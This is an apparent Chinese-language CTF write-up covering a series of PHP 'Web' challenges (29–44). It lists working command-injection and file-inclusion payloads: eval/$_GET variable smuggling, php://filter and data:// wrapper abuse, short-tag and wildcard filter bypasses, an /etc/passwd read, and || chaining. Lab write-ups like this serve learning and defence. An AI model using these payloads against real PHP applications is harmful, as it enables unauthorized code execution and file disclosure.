Web(29)
首先可以用system(“ls”)来查看文件,是flag.php
用tac,,命令来输出文件。
不过flag被屏蔽了
所以可以用?或*来代替
?代表了一个字符站位
*代表了多个。
Web(30)
?c=echo`cat *`;
因为system被限制了所以要通过别的来进行来解决。
Cat与tac一个是正面一个是反面
Web(31)
/?c=eval($_GET[1]);&1=system('tac flag.php');重新引用了一个变量,这个变量拥有c的值但不受c的限制。通过tac或cat命令来得到。
Web(32)
这次同样用了新建一个变量但是由于system的禁用就使用文件包含来解决,由于本身使用1=flag.php无法使文件呈现出来所以只能使
来解决这个问题。最后得到的结果来进行base64解码直接得到。Linux 系统中的 /etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。
filter:通过指定的通道来读取指定的文件这里使用base64读取不用base64读不到源文件
Web(33)
同上(32)也可以把include改为require
Web(34)
常见的不需要括号的语言结构有:{ echo print isset unset include require }
Isset: isset()函数用于检测变量是否已设置并且非NULL。如果已经使用unset()释放了一个变量之后,再通过isset()判断将返回FALSE。
如果使用isset()测试一个被设置成NULL的变量,将返回FALSE。同时要注意的是null字符(“ \ 0”)并不相等于PHP的NULL常量。
语法:布尔isset (混合$ var [,混合$ ... ] ) 。
参数说明:$ var:要检测的变量。
如果一次添加多个参数,那么isset()仅在全部参数都被设置时返回TRUE,计算过程从左至右,中途遇到没有设置的变量时就会立即停止。
Unset: unset的作用_hongmingover的博客-CSDN博客_unset函数的作用
Print :phpinfo();数据段不在代码段所以不可以通过print来执行但eval可以来执行但必须要有括号
Include:为读取,/?c=include%0A$_GET[1]?>&1=/etc/password读取文件看能否读取能了就继续上面的操作。
Web(35)
与上面方法一样/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web(36)
同上但数字不能用了。换成字母即可。
Web(37)【伪协议的使用】
data://text/plain,<?php system("tac fla*");?>
在哔哩哔哩上找的(相关的伪协议)常见于文件包含,文本包含
Data协议是把后面的字母 ,数字,字符串作为php代码来运行。
用到data伪协议来执行后面可以用前面的方法来进行解决。Tac或cat等来执行。
Web(38)短标签
短标签:因为过滤了php所以之前的data协议不能照办了。要改变一下。
/?c= data://text/plain,<?= system("tac fla*");?>
//php.ini中
short_open_tag = On
//除<?php ?>,可使用更灵活的调用方法
<? /*程序操作*/ ?>
<?=/*函数*/?>
这是短标签的调用形式,
Web(39)
/?c=data://text/plain,<?php system("tac fla*");?>
{有个小问题用协议的时候直接复制上我之前的还不行要在点一遍,我哪里错了。。。}
加了个后缀但对于我们构建的playload没有影响因为?>对他进行了隔离,没有影响到我们的构建。
Web(40)
show_source(next(array_reverse(scandir(pos(localeconv())))));构建
print_r() 函数用于打印变量,以更容易理解的形式展示localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。这里也可以换成current(),作用和pos类似
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
通过 pos(localeconv())得到点号因为scandir('.')表示得到当前目录下的文件PS:如果我没有记错,scnadir('/')也能扫描当前目录下面的文件,但是这道题貌似无法使用chr(47)和chr(48)(.和/的ASCII码)进行过滤的绕过
这是节选https://www.cnblogs.com/echoDetected/p/13886197.html#里的
Web(41)
Web(42)
" >/dev/null
会把结果写到一个写道一个黑洞中让他无法运行。解决方法在其后多写一个函数,让多写的函数进入函数,以兵换将。
Web(43)
因为; 被限制了可以使用||来代替。比上一题多了给符号的转化。
Web(44)
/?c=tac fla?.php||ls
多了个flag的限制。用个*号或?号来代替。